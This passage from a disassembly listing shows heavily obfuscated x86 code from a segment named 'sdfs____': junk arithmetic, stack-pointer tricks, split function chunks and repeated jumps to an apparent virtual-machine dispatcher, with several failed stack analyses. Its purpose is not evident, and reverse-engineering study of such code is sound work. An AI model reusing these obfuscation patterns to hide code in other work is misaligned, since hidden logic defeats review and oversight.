; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		jmp	loc_592912
; ---------------------------------------------------------------------------


loc_58E916:				; CODE XREF: sdfs____:0059724Cj
		push	ebx
		jmp	loc_59778A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_58E91C:				; CODE XREF: sub_58FE99-22C6j
		push	[esp+8+var_8]
		jmp	loc_596C8C
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58E924:				; CODE XREF: sub_5917C0-4F9j
		pop	esp
		jmp	loc_58E25C
; END OF FUNCTION CHUNK	FOR sub_5917C0

; =============== S U B	R O U T	I N E =======================================



sub_58E92A	proc near		; CODE XREF: sub_5917C0-5945j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BBF3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005900A0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005904A2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593255 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005936B6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594E53 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005988B7 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00598BB8 SIZE 0000002C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	dl, 8Ch
		mov	ah, dl
		pop	edx
		jmp	loc_5904A2
sub_58E92A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58E93D:				; CODE XREF: sdfs____:0058EC54j
		pop	edi
		mov	ebx, edx
		jmp	loc_59301E
; ---------------------------------------------------------------------------


loc_58E945:				; CODE XREF: sdfs____:00593614j
		sub	ecx, 23006140h
		jmp	loc_590B9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_58E950:				; CODE XREF: sub_58EB23+6E93j
		shl	ch, 8
		add	ch, 0E8h
		mov	dl, ch
		pop	ecx
		add	dl, 0A4h
		not	dl
		not	dl
		sub	dl, 21h
		sub	bl, dl
		pop	edx
		sub	bl, 0A9h
		sub	bl, al
		jmp	loc_591884
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_58E970:				; CODE XREF: sdfs____:0058FC32j
		add	dword ptr [esp], 4
		jmp	loc_591CDF
; ---------------------------------------------------------------------------


loc_58E97C:				; CODE XREF: sdfs____:0058E342j
		mov	[esp], eax
		push	esp
		jmp	loc_593A91
; ---------------------------------------------------------------------------


loc_58E985:				; CODE XREF: sdfs____:00597D3Aj
		push	4A9Eh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	0D91h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_58D875
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_58E9A7:				; CODE XREF: sub_598A21-B12Dj
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], ecx
		push	5F6Eh
		mov	[esp-4+arg_0], edi
		mov	edi, 400h
		push	edi
		push	edx
		mov	edx, 57E92DE4h
		add	[esp+4], edx
		jmp	loc_590598
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, 519864DFh
		and	ebx, 38B73714h
		sub	ebx, 0D9F1BD91h
		sub	esi, ebx
		pop	ebx
		add	esi, eax
		push	3380h
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 8AC1E11h
		add	ebp, 2A4E0B93h
		xchg	ecx, ebp
		jmp	loc_58FA6F
; ---------------------------------------------------------------------------


loc_58EA0B:				; CODE XREF: sdfs____:0058C82Cj
		pop	edi
		jmp	loc_593DD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_58EA11:				; CODE XREF: sub_596736-247Aj
		mov	[esp+0], esi
		jmp	loc_59880E
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------


loc_58EA19:				; CODE XREF: sdfs____:0058EE99j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58BBDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58EA2A:				; CODE XREF: sub_5917C0+5537j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		add	edx, 4
		push	ecx
		jmp	loc_58BDED
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58EA4A:				; CODE XREF: sdfs____:00591071j
		sub	esp, 4
		jmp	loc_595E1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58EA52:				; CODE XREF: sub_5917C0-16EEj
		push	dx
		mov	dl, 8Eh
		add	cl, dl
		jmp	loc_593017
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58EA5D:				; CODE XREF: sdfs____:005939BFj
		add	edi, 5C8240EAh
		jmp	loc_597612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_58EA68:				; CODE XREF: sub_596736+17D5j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 0CDAD8FCh
		jmp	loc_58E151
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 3720988h
		push	ebp
		jmp	loc_58C6BA
; ---------------------------------------------------------------------------


loc_58EA81:				; CODE XREF: sdfs____:0058BA35j
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		mov	ebp, 5BF09AAh
		shr	ebp, 5
		neg	ebp
		jmp	loc_58E2BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58EA96:				; CODE XREF: sub_5962EB-1D0Cj
		and	eax, esi
		mov	esi, [esp-8+arg_4]
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		or	edx, eax
		jmp	loc_596A59
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_58EABF:				; CODE XREF: sdfs____:0058C654j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58EAC4:				; CODE XREF: sub_591370+1B6j
		push	eax
		jmp	sub_58C71E
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58EACA:				; CODE XREF: sub_591435+798Bj
		mov	ecx, [esp+4+var_4]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		jmp	loc_58FBE3
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58EAE1:				; CODE XREF: sdfs____:00590AA2j
		mov	edi, 3894728Ah
		xor	edi, esi
		pop	esi
		add	ebx, 58AB6DACh
		add	ebx, edi
		jmp	loc_590AE3
; ---------------------------------------------------------------------------


loc_58EAF6:				; CODE XREF: sdfs____:0059732Dj
		add	ecx, esi
		add	ecx, 36993309h
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_59741B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58EB07:				; CODE XREF: sub_591435+24CEj
		mov	ecx, 0C9DDB70Ch
		add	ecx, ebp
		pop	ebp
		sub	ebx, 1E072608h
		push	edi
		mov	edi, 285F5F52h
		shl	edi, 7
		jmp	loc_59059E
; END OF FUNCTION CHUNK	FOR sub_591435

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58EB23	proc near		; CODE XREF: sub_5BB696-2A357j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 0058BAB2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C095 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058CBC2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D043 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E950 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059096C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591884 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591C2C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592133 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595386 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005959B0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00595E2A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596683 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00596B45 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596DB3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00598DB6 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-0Ch+arg_4]
		pop	esp
		jmp	loc_598DB6
sub_58EB23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58EB38:				; CODE XREF: sdfs____:0058D6DBj
					; sdfs____:0059115Dj
		push	0
		sub	[esp], edi
		mov	edi, [esp]
		jmp	loc_591F8E

; =============== S U B	R O U T	I N E =======================================



sub_58EB48	proc near		; CODE XREF: sub_596D34-434j
		push	ebp
		jmp	sub_594767
sub_58EB48	endp

; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58EB56:				; CODE XREF: sdfs____:0058CE39j
		add	esp, 4
		jmp	loc_5959ED
; ---------------------------------------------------------------------------


loc_58EB61:				; CODE XREF: sdfs____:00594D0Bj
		jge	loc_58EBA4
		add	esi, 0AD4ECA24h
		mov	esi, ebx
		mov	cl, bl


loc_58EB71:				; CODE XREF: sdfs____:0058D7C7j
		pop	edi
		xor	ebp, eax
		jmp	loc_5905FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58EB79:				; CODE XREF: sub_5917C0+4A63j
		push	49B7h
		mov	[esp+2+var_4+2], eax
		jmp	loc_58D1DE
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58EB86:				; CODE XREF: sdfs____:00597847j
		push	ebp
		mov	ebp, 668A2261h
		and	ebp, 66A03D8Ch
		jmp	loc_598613
; ---------------------------------------------------------------------------


loc_58EB97:				; CODE XREF: sdfs____:00597229j
		mov	esi, esp
		add	esi, 4
		jmp	loc_593714
; ---------------------------------------------------------------------------


loc_58EBA4:				; CODE XREF: sdfs____:loc_58EB61j
		add	esi, 0AD4ECA24h
		jmp	sub_59377D
; ---------------------------------------------------------------------------


loc_58EBAF:				; CODE XREF: sdfs____:00593ABCj
		add	edx, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6830704Fh
		push	eax
		push	2FD7424Dh
		jmp	loc_590475
; ---------------------------------------------------------------------------


loc_58EBCF:				; CODE XREF: sdfs____:005907ACj
		xor	edi, [esp]
		jmp	loc_5949B6
; ---------------------------------------------------------------------------


loc_58EBD7:				; CODE XREF: sdfs____:005932C1j
		mov	ecx, [esp]
		push	77EAh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 2
		add	eax, ecx
		pop	ecx
		jmp	loc_595B19
; ---------------------------------------------------------------------------


loc_58EC07:				; CODE XREF: sdfs____:0058E3B7j
		pop	esi
		push	esi
		mov	esi, 0C6F164Ch
		jmp	loc_58DE78

; =============== S U B	R O U T	I N E =======================================



sub_58EC13	proc near		; CODE XREF: sub_591435+721j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D38A SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00594206 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00595B37 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597726 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_597726
sub_58EC13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_58EC1B:				; CODE XREF: sub_58BC4E+94C5j
		and	ebp, 4A1E2A72h
		dec	ebp
		shl	ebp, 5
		xor	ebp, 28553C5Bh
		add	ebp, 0E042FB0Bh
		add	eax, ebp
		mov	ebp, [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_598A18
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_58EC46:				; CODE XREF: sdfs____:005966E5j
		sub	edi, 35A4700Ch
		xor	edi, 0D453A3F3h
		xor	edx, edi
		jmp	loc_58E93D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58EC59:				; CODE XREF: sub_594228-70EDj
		add	ebx, 70551150h
		push	7CD1h
		mov	[esp+1Eh+var_20+2], eax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228

; =============== S U B	R O U T	I N E =======================================



sub_58EC6C	proc near		; CODE XREF: sub_5962EB-4A2Aj
					; sdfs____:00594FA2j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00591CED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592ACF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597E3F SIZE 00000010 BYTES

		push	ebp
		jmp	loc_592ACF
sub_58EC6C	endp

; ---------------------------------------------------------------------------


loc_58EC72:				; CODE XREF: sdfs____:0058E070j
		push	ecx
		mov	ecx, 63DB3395h
		and	ecx, 3AFA0B18h
		add	ecx, 7D32047Fh
		neg	ecx
		shl	ecx, 1
		sub	ecx, 0BFE7F0DEh
		add	edx, ecx
		pop	ecx
		push	esi
		jmp	loc_593B16
; ---------------------------------------------------------------------------


loc_58EC97:				; CODE XREF: sdfs____:0059065Ej
		push	cx
		push	66F7h
		mov	[esp], ebx
		jmp	loc_58EF03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58ECA6:				; CODE XREF: sub_5987BC-B514j
		pop	ecx
		push	ecx
		jmp	loc_5910EA
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_58ECAD:				; CODE XREF: sdfs____:00597DCBj
		push	eax
		push	7D0Dh
		mov	[esp], ebp
		mov	ebp, 2F315FC8h
		xor	ebp, 2DDA0303h
		jnz	loc_5923B0
		jmp	loc_592D52
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ecx
		mov	dl, dl
		mov	al, 75h


loc_58ECD4:				; CODE XREF: sdfs____:00590738j
		jmp	loc_590B81
; ---------------------------------------------------------------------------


loc_58ECD9:				; CODE XREF: sdfs____:00597599j
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	edx
		mov	edx, 4
		jmp	loc_597A49
; ---------------------------------------------------------------------------


loc_58ECED:				; CODE XREF: sdfs____:0058C42Aj
		pop	ecx
		neg	bl
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		or	dh, 86h
		shl	dh, 6
		xor	dh, 9Bh
		shr	dh, 3
		xor	dh, 45h
		sub	al, dh
		pop	edx
		add	al, 2Bh
		jmp	loc_5970B9
; ---------------------------------------------------------------------------


loc_58ED14:				; CODE XREF: sdfs____:00590A87j
		add	bl, 0C2h
		jmp	loc_58DCB3
; ---------------------------------------------------------------------------


loc_58ED1C:				; CODE XREF: sdfs____:loc_591BE6j
		or	ebx, 1A3069E9h
		jnz	loc_58C31C
		jmp	loc_58F414
; ---------------------------------------------------------------------------
		add	esp, 4
		and	al, 1
		mov	ecx, ebp
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58ED34:				; CODE XREF: sub_591370-17C0j
		push	edi
		push	esp
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		push	ebx
		jmp	loc_598A0A
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58ED45:				; CODE XREF: sub_5917C0+47A8j
		push	edi
		mov	edi, 5A191133h
		sub	edi, 6A2F1903h
		not	edi
		xor	edi, 0D94FC86Fh
		xor	ebx, edi
		pop	edi
		mov	[edx+38h], ebx
		pop	ebx
		jmp	sub_59214E
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58ED65:				; CODE XREF: sub_591435+74FBj
		sub	edi, 16B3AD8Fh
		add	ebx, 65010FB7h
		add	ebx, edi
		sub	ebx, 65010FB7h
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_593A67
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58ED81:				; CODE XREF: sdfs____:00591E9Dj
		sub	ecx, 2F8E1074h
		add	ecx, eax
		jmp	loc_58E61B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58ED8E:				; CODE XREF: sub_5917C0-2837j
		pop	esp
		mov	word ptr [esp-6+arg_0+2], ax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58ED98:				; CODE XREF: sub_591435-2F0j
		add	ecx, 564A3BC2h
		shr	ecx, 4
		shl	ecx, 3
		jp	loc_58D79E
		sub	ecx, 4C094209h
		jnp	loc_593B51
		xor	ecx, 0DB34B7B1h
		mov	edi, ecx
		pop	ecx
		sub	edi, 652F2962h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		push	[esp+18h+var_14]
		pop	ecx
		pop	[esp+18h+var_18]
		pop	esp
		push	0B74h
		jmp	loc_591D65
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58EDE2:				; CODE XREF: sdfs____:0058D4FBj
		mov	ah, ch
		mov	dh, ah
		pop	eax
		pop	ecx
		mov	ch, dh
		pop	edx
		mov	bl, [esp+4]
		mov	[esp+4], ch
		pop	ecx
		jmp	loc_58FA05
; ---------------------------------------------------------------------------


loc_58EDF9:				; CODE XREF: sdfs____:0058E0DEj
		pop	esp
		push	ecx
		mov	ch, 0B6h
		add	al, 0B4h
		push	ecx
		push	eax
		mov	al, 3Eh
		jmp	loc_58EF22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58EE08:				; CODE XREF: sub_594228-21D0j
		sub	ebx, edx
		add	ebx, 614D33B2h
		mov	edx, [esp+1Eh+var_20+2]
		add	esp, 4
		xchg	ebx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, 2012BA9Eh
		sub	eax, ecx
		pop	ecx
		push	edi
		push	41CD7A05h
		mov	edi, [esp+1Eh+var_20+2]
		jmp	loc_591122
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58EE38:				; CODE XREF: sdfs____:0058D866j
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58C1C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58EE50:				; CODE XREF: sub_5917C0+1B3Ej
		push	ecx
		push	small 6576h
		mov	[esp+0], dx
		jmp	loc_58DD5F
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58EE5E:				; CODE XREF: sdfs____:0058F658j
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_58F6E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58EE77:				; CODE XREF: sub_591370-323Aj
		shl	eax, 7
		add	eax, 0A6D0FF4h
		jno	loc_59025A
		jmp	loc_594269
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		neg	ecx
		neg	ecx
		push	ebx


loc_58EE8F:				; CODE XREF: sdfs____:005914A3j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_58EA19
; ---------------------------------------------------------------------------


loc_58EE9E:				; CODE XREF: sdfs____:0059141Ej
					; sdfs____:00595400j
		push	10CBh
		mov	[esp], ecx
		push	esi
		mov	esi, 569E16FFh
		sub	esi, 4C776A6Bh
		jmp	loc_594A9D
; ---------------------------------------------------------------------------


loc_58EEB7:				; CODE XREF: sdfs____:0058D240j
					; sdfs____:loc_59759Ej
		or	ebp, 1C7F6292h
		add	ebp, 2AEB40C3h
		push	ecx
		mov	ecx, 78955448h
		add	ebp, ecx
		pop	ecx
		add	edi, 1861431Dh
		add	edi, ebp
		sub	edi, 1861431Dh
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58E6E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58EEEC:				; CODE XREF: sub_594228+4986j
		pop	eax
		add	ecx, 0E228B5D2h
		mov	ebp, ecx
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_58C1F4
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58EF03:				; CODE XREF: sdfs____:0058ECA1j
		mov	bl, 0FDh
		mov	ch, 0B5h
		sub	ch, bl
		pop	ebx
		add	al, 0E5h
		sub	al, ch
		push	ebx
		mov	bh, 0E5h
		jmp	loc_591C87
; ---------------------------------------------------------------------------


loc_58EF16:				; CODE XREF: sdfs____:00595381j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_597901
; ---------------------------------------------------------------------------


loc_58EF22:				; CODE XREF: sdfs____:0058EE03j
		mov	cl, al
		pop	eax
		add	al, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	al, ch
		sub	al, 3Eh
		jmp	loc_58D312
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5948D3
; ---------------------------------------------------------------------------


loc_58EF49:				; CODE XREF: sdfs____:00592202j
		pop	esp
		div	ecx
		jmp	loc_58F3CC
; ---------------------------------------------------------------------------


loc_58EF51:				; CODE XREF: sdfs____:00596FD6j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58FC29
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0Eh
		add	al, 3Eh
		add	al, 93h
		jmp	loc_596CFC
; ---------------------------------------------------------------------------


loc_58EF75:				; CODE XREF: sdfs____:0058F7D1j
		push	small 5D87h
		mov	[esp], dx
		push	eax
		mov	ah, 0C1h
		jmp	loc_592346
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58EF85:				; CODE XREF: sub_5917C0+4D88j
		pop	ebx
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_58ED8E
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58EF8E:				; CODE XREF: sdfs____:0058CAF4j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	dl, 6
		jmp	loc_58DA4D
; ---------------------------------------------------------------------------


loc_58EFA5:				; CODE XREF: sdfs____:0058D6CDj
		pop	ecx
		add	eax, 2
		push	65AAh
		jmp	loc_58F2D0
; ---------------------------------------------------------------------------


loc_58EFB3:				; CODE XREF: sdfs____:0058C9B5j
		push	ecx
		push	edx
		push	127C3560h
		pop	edx
		sub	edx, 0B8ABC182h
		mov	ecx, edx
		pop	edx
		jmp	loc_59488B
; ---------------------------------------------------------------------------


loc_58EFC9:				; CODE XREF: sdfs____:00591BCAj
		add	esi, ebp
		pop	ebp
		push	786h
		mov	[esp], eax
		push	2
		pop	eax
		add	esi, 6EE74627h
		add	esi, eax
		sub	esi, 6EE74627h
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58EFFE:				; CODE XREF: sub_591435-799j
		push	esi
		jmp	loc_5967E3
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_58F004:				; CODE XREF: sub_58FE99+62F9j
		jg	loc_58BC09
		jmp	loc_58BEB9
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------


loc_58F00F:				; CODE XREF: sdfs____:00597BCCj
		mov	esp, [esp]
		jmp	loc_591EF7
; ---------------------------------------------------------------------------


loc_58F017:				; CODE XREF: sdfs____:00596388j
		not	bh
		push	edx
		mov	dl, 8Eh
		dec	dl
		jg	loc_58C705
		xor	dl, 8Dh
		add	dl, 0CDh
		ja	loc_59393C
		not	dl
		xor	dl, 21h
		dec	dl
		sub	dl, 0E5h
		sub	dl, 2Eh
		mov	al, 5Dh


loc_58F03F:				; CODE XREF: sdfs____:0058D2C1j
		add	[esp+4], ebp
		pop	ebp
		push	396Fh
		mov	[esp], ebx
		mov	ebx, 2A1F56ADh
		add	dword ptr [esp+4], 44CA79BEh
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 44CA79BEh
		jmp	loc_58F13F
; ---------------------------------------------------------------------------


loc_58F06A:				; CODE XREF: sdfs____:00597ECFj
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	56FAh
		mov	[esp], ebp
		push	7698h
		mov	[esp], ebx
		mov	ebx, 618D4FADh
		jmp	loc_590D33
; ---------------------------------------------------------------------------


loc_58F08D:				; CODE XREF: sdfs____:0058F85Dj
		inc	esi
		jmp	loc_58E0F7
; ---------------------------------------------------------------------------


loc_58F093:				; CODE XREF: sdfs____:00590D54j
		pop	esp
		bt	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F09F:				; CODE XREF: sdfs____:0058BDCBj
		push	edx
		sub	esp, 4
		jmp	loc_58F558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58F0AB:				; CODE XREF: sub_5917C0+63F6j
		inc	ebx
		jle	loc_596E44
		push	edi
		jmp	loc_595EF0
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
		add	esp, 4
		push	ecx
		push	edi


loc_58F0C0:				; CODE XREF: sdfs____:0058DB05j
		mov	dl, 11h
		dec	dl
		xor	dl, 0A9h
		push	ebx
		mov	bh, 0C0h
		push	cx
		mov	ch, bh
		neg	ch
		mov	bh, ch
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_58FF13
; ---------------------------------------------------------------------------


loc_58F0DE:				; CODE XREF: sdfs____:005924FCj
		push	ecx
		mov	ch, 0CDh
		sub	al, ch
		pop	ecx
		sub	al, dl
		add	al, 0CDh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58E28D
; ---------------------------------------------------------------------------


loc_58F105:				; CODE XREF: sdfs____:005955D4j
		mov	ecx, 10B24030h
		inc	ecx
		inc	ecx
		inc	ecx
		sub	ecx, 10B2402Fh
		mov	esi, ecx
		pop	ecx
		sub	edi, 532F53FFh
		add	edi, esi
		jmp	loc_5909AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_58F123:				; CODE XREF: sub_58BC4E+CDCEj
		push	esi
		mov	esi, eax
		mov	edi, esi
		pop	esi
		pop	eax
		and	eax, edi
		mov	edi, [esp+4+var_4]
		jmp	loc_5903A1
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58F134:				; CODE XREF: sub_59576E-50D5j
		push	cx
		mov	cx, 0F23h
		jmp	loc_5927B7
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_58F13F:				; CODE XREF: sdfs____:0058F065j
		pop	ebx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58F145:				; CODE XREF: sub_5962EB+233Cj
		mov	esi, 0F06C41h
		inc	esi
		and	esi, 4F995E34h
		jmp	loc_58FB35
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_58F156:				; CODE XREF: sdfs____:005905D2j
		xor	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58F160:				; CODE XREF: sdfs____:0058DFEDj
